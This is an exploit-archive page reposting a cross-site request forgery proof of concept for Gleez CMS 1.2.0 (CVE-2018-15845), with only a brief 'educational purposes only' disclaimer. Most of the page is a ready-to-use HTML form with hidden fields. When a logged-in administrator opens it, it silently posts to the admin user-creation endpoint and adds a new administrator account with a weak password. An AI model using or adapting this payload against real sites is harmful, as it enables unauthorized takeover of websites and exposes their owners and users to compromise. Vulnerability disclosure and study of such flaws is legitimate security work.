Gleez cms 1.2.0 crosssite request forgery (add admin) Vulnerability / Exploit

/ / /

Exploits / Vulnerability Discovered : 2018-08-27 | Type : webapps | Platform : php
This exploit / vulnerability Gleez cms 1.2.0 crosssite request forgery (add admin) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Gleez CMS 1.2.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-08-24
# Exploit Author: GunEggWang
# Vendor Homepage: https://gleezcms.org/
# Software Link: https://github.com/gleez/cms
# Version: 1.2.0
# CVE : CVE-2018-15845

# Description:
# There is a CSRF vulnerability that can add an administrator account in
# Gleez CMS 1.2.0 via admin/users/add. (https://github.com/gleez/cms/issues/800)
# After the administrator logged in,open the POC,that will create an new admin account unexcused.
# POC:

<html>

<body>
<script>history.pushState('', '', '/')</script>
<form action="https://server/admin/users/add?0=" method="POST">
<input type="hidden" name="_token" value="18eabd0645699b3eec1686301a684392e8a4735a" />
<input type="hidden" name="_action" value="909998bbc9e60ce40ae378a1055b46f3" />
<input type="hidden" name="name" value="test" />
<input type="hidden" name="pass" value="test" />
<input type="hidden" name="nick" value="test" />
<input type="hidden" name="mail" value="admin@admin.cc" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="roles[admin]" value="Administrative user, has access to everything." />
<input type="hidden" name="site_url" value="http://server/" />
<input type="hidden" name="user" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>